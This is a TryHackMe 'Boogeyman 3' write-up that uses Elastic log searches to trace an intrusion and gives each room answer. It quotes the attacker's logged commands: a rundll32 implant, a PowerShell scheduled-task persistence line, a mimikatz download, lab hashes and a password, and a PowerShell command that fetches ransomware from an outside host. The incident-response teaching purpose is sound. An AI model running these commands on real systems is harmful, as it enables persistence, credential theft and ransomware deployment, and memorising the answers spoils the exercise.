Boogeyman 3 - TryHackMe Write-up

Link to room: https://tryhackme.com/room/boogeyman3

Due to the previous attacks of Boogeyman, Quick Logistics LLC hired a managed security service provider to handle its Security Operations Center. Little did they know, the Boogeyman was still lurking and waiting for the right moment to return.

In this room, you will be tasked to analyse the new tactics, techniques, and procedures (TTPs) of the threat group named Boogeyman.

---

Before we get started let’s make sure we are connecting to Elastik.

Boot up the AttackBox or your own VM, connect in and open Firefox. Plomp in the URL and login via the Username and Password details.

Take note of the email and attachment details.

---

What is the PID of the process that executed the initial stage 1 payload?

In Elastik click on Discover then we want to set absolute dates for our range: August 29 and August 30, 2023.

We know about the “.pdf” file. Which upon inspection is an .iso file. These files on modern Windows can be auto-mounted upon execution, unlike the old days when we would have to use other tools. Which can make them a little stealthy. We can also see inside the .iso file that there is a “HTML Application” file of 1KB which looks very suspicious. These are like small .html files that can also be executed. A chain of execution.

Let’s filter for this “.pdf” and see what we get:

I did some editing with the fields to make this easier to digest. You can search for fields on the left and just click the little plus icon.

I add and remove as I go but for now I added process.name, process.pid, process.parent.name, process.parent.pid and process.command_line.

What we can see here is the process mshta.exe which is used by Windows to execute those pesky .hta files.

It looks like it has executed with 3 processes spawning: xcopy.exe, rundll32.exe and powershell.exe. They all share the same Parent Process ID and are executed immediately.

Answer: 6392

---

The stage 1 payload attempted to implant a file to another location. What is the full command-line value of this execution?

Now that we have everything laid quite nicely in Elastik this is a case of just looking at the execution chain and paying close attention to the process.commmand_line area.

The first process to execute immediately after is the xcopy.exe process. This sounds about right to me.

Looking at the command:

"C:\Windows\System32\xcopy.exe" /s /i /e /h D:\review.dat C:\Users\EVAN~1.HUT\AppData\Local\Temp\review.dat

We can determine that there is an attempt to copy the D:\review.dat file on the .iso image to the C: drive. Specifically the Temp folder - an adversarial favourite!

Answer: "C:\Windows\System32\xcopy.exe" /s /i /e /h D:\review.dat C:\Users\EVAN~1.HUT\AppData\Local\Temp\review.dat

---

The implanted file was eventually used and executed by the stage 1 payload. What is the full command-line value of this execution?

After looking at xcopy.exe let’s now have a look at the next process in line.

rundll32.exe is used by Windows to execute .dll files. Like mshta.exe, these are known as LOLBAS (Living Off The Land Binaries, Scripts and Libraries). Living off the land, adversaries can use tools available to them built-in to the OS.

We can see the command executed:

"C:\Windows\System32\rundll32.exe" D:\review.dat,DllRegisterServer

The file D:\review.dat file looks like a simple data file but is actually a .dll file. .dat files can pretty much be anything. There is an attempt to execute the file.

Answer: "C:\Windows\System32\rundll32.exe" D:\review.dat,DllRegisterServer

---

The stage 1 payload established a persistence mechanism. What is the name of the scheduled task created by the malicious script?

Let’s look closer at the next process that fired off - powershell.exe.

Looking at process.command_line we see:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $A = New-ScheduledTaskAction -Execute 'rundll32.exe' -Argument 'C:\Users\EVAN~1.HUT\AppData\Local\Temp\review.dat,DllRegisterServer'; $T = New-ScheduledTaskTrigger -Daily -At 06:00; $S = New-ScheduledTaskSettingsSet; $P = New-ScheduledTaskPrincipal $env:username; $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S; Register-ScheduledTask Review -InputObject $D -Force;

Lots of hints here of a new scheduled task.

If we look near the end of the command we see Register-ScheduledTask and the name.

Answer: Review

---

The execution of the implanted file inside the machine has initiated a potential C2 connection. What is the IP and port used by this connection? (format: IP:port)

Seeing as we are looking for a potential C2 connection, let’s think about destination ip’s and ports.

I filtered with destination.ip and destination.port.

There seems to be a lot of traffic to this particular IP address.

100% of that traffic is using port 80.

Answer: 165.232.170.151:80

---

The attacker has discovered that the current access is a local administrator. What is the name of the process used by the attacker to execute a UAC bypass?

THM Hint: “Search for common UAC bypass techniques and follow the trail of events.”

I just searched for common UAC bypass techniques on Google.

First link brings me here: https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies

Soon into reading the article it doesn’t take long before we find out about fodhelper.exe (Features on Demand Helper) and how it runs in an elevated privileged state. This can be easily used to bypass UAC (User Account Control).

We do find evidence of it being used:

Answer: fodhelper.exe

---

Having a high privilege machine access, the attacker attempted to dump the credentials inside the machine. What is the GitHub link used by the attacker to download a tool for credential dumping?

OK so we know that there is a github download.

We can filter for this in Elastik:

*github* or *github.com* or *githubusercontent.com*

The former will give us a better overall picture while github.com will give us links to github pages and the latter will filter for those links in raw.

Using the github.com filter gives us a bunch of hits pointing towards the infamous mimikatz.

Answer: https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip

---

After successfully dumping the credentials inside the machine, the attacker used the credentials to gain access to another machine. What is the username and hash of the new credential pair? (format: username:hash)

Going off what we now know. It’s likely that mimikatz was executed at some point.

Let’s filter with mimikatz.exe and see what we get.

We can see a dump and Pass-the-Hash attack.

Then we see the new itadmin account and it’s hash.

Answer: itadmin:F84769D250EB95EB2D7D8B4A1C5613F2

---

Using the new credentials, the attacker attempted to enumerate accessible file shares. What is the name of the file accessed by the attacker from a remote share?

This was pretty tricky to find.

I decided to look closer at mimikatz.

If we look at hit highlighted above we find this:

We can see that mimikatz is within several folder, 1 called mimi which is distinctive.

We can see if anything else is going on in that directory.

Moments after mimikatz we find something called IT_Automation.ps1.

Upon inspection we find a large base64 encoded string that we can analyse with CyberChef.

Answer: IT_Automation.ps1

---

After getting the contents of the remote file, the attacker used the new credentials to move laterally. What is the new set of credentials discovered by the attacker? (format: username:password)

Looking at our simple yet useful filter:

*mimi*

We find a ConvertTo-SecureString area of interest:

We see QUICKLOGISTICS\allan.smith and Tr!ckyP@ssw0rd987 from host machine WKSTN-0051

Answer: QUICKLOGISTICS\allan.smith:Tr!ckyP@ssw0rd987

---

What is the hostname of the attacker's target machine for its lateral movement attempt?

Looking at the hosts we move laterally from host WKSTN-0051 to WKSTN-1327.

Answer: WKSTN-1327

---

Using the malicious command executed by the attacker from the first machine to move laterally, what is the parent process name of the malicious command executed on the second compromised machine?

So we know we are looking at the WKSTN-1327 host.

We also know we are looking for execution (Sysmon Event ID: 1).

I think we can look for powershell.exe as the process.name also.

We get 22 results.

Scroll down a little and we find the stager or loader encoded in base64.

We can decode it in terminal, CyberChef or even in ChatGPT. We will find the payload hidden within.

I still have the process.parent.name field active and we can see what we need here.

Answer: wsmprovhost.exe

---

The attacker then dumped the hashes in this second machine. What is the username and hash of the newly dumped credentials? (format: username:hash)

I returned to our trusty mimi filter.

We can see some information we found previously at the bottom. You remember itadmin:F84769D250EB95EB2D7D8B4A1C5613F2?

Well we can see just a minute later a similar hit.

This time for a different account.

Answer: administrator:00f80f2538dcb54e7adc715c0e7091ec

---

After gaining access to the domain controller, the attacker attempted to dump the hashes via a DCSync attack. Aside from the administrator account, what account did the attacker dump?

Here is a good explanation of the DCSync attack: https://www.semperis.com/blog/dcsync-attack/

I like simplicity so I just filtered for DSync.

We get 3 hits.

We can see the dump for administrator on host WKSTN-1327.

After that hit, we also see a dump for backupda on host DC01.

Answer: backupda

---

After dumping the hashes, the attacker attempted to download another remote file to execute ransomware. What is the link used by the attacker to download the ransomware binary?

Maybe this is lucky, simple or smart?

I filtered for ransom, but didn’t find anything.

I then filtered for *ransom*, using wildcard queries can get some pretty nice results, always worth a bash!

You’ll notice I also filtered with event.code: 1 and process.name: powershell.exe.

We get 6 hits!

Looking at the process.command_line of the first hit:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "iwr http://ff.sillytechninja.io/ransomboogey.exe -outfile ransomboogey.exe"

We can see the link we are looking for.

Answer: http://ff.sillytechninja.io/ransomboogey.exe

---

A fairly challenging exercise! Using concise filter really goes a long way here.

Hope you enjoyed following along the Boogeyman challenges on TryHackMe!